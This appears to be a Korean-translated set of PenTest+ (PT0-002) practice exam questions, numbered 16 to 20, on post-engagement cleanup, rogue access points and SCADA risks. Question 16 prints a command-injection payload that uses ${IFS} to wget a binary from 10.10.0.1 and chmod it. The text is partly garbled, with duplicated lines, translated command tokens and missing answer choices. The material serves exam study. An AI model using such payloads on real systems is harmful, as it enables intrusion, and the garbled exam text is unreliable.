PT0-002 문제 16
침투 테스터는 익스플로잇을 사용하여 시스템에 액세스할 수 있었습니다. 다음은 활용된 코드의 스니펫입니다.
익스플로잇 = "포스트"
익스플로잇 += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}아파치;$ {IFS
&loginUser=a&Pwd=a"
익스플로잇 += "HTTP/1.1"
다음 중 침투 테스터가 참여 후 실행해야 하는 명령은 무엇입니까?
익스플로잇 = "포스트"
익스플로잇 += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}아파치;$ {IFS
&loginUser=a&Pwd=a"
익스플로잇 += "HTTP/1.1"
다음 중 침투 테스터가 참여 후 실행해야 하는 명령은 무엇입니까?
PT0-002 문제 17
침투 테스터는 테스트 중인 애플리케이션이 이미 맬웨어에 감염되었음을 확인한 후 다음 중 어떤 작업을 수행해야 합니까?
PT0-002 문제 18
한 회사에서 네트워크에 악성 액세스 포인트를 배포하고 설정하기 위해 침투 테스터를 고용했습니다.
다음 중 이 목표를 달성하기 위해 사용하는 가장 좋은 도구는 무엇입니까?
다음 중 이 목표를 달성하기 위해 사용하는 가장 좋은 도구는 무엇입니까?
PT0-002 문제 19
한 회사는 제조 공장의 사이버 물리적 시스템을 검토하기 위해 침투 테스트 팀을 고용했습니다. 팀은 감독 시스템과 PLC가 모두 회사 인트라넷에 연결되어 있음을 즉시 발견했습니다. 침투 테스트 팀이 만든 경우 다음 가정 중 가장 타당한 것은 무엇입니까?
PT0-002 문제 20
SCADA 장치를 사용하여 환경에 대한 침투 테스트를 수행하면 다음과 같은 이유로 추가적인 안전 위험이 발생합니다.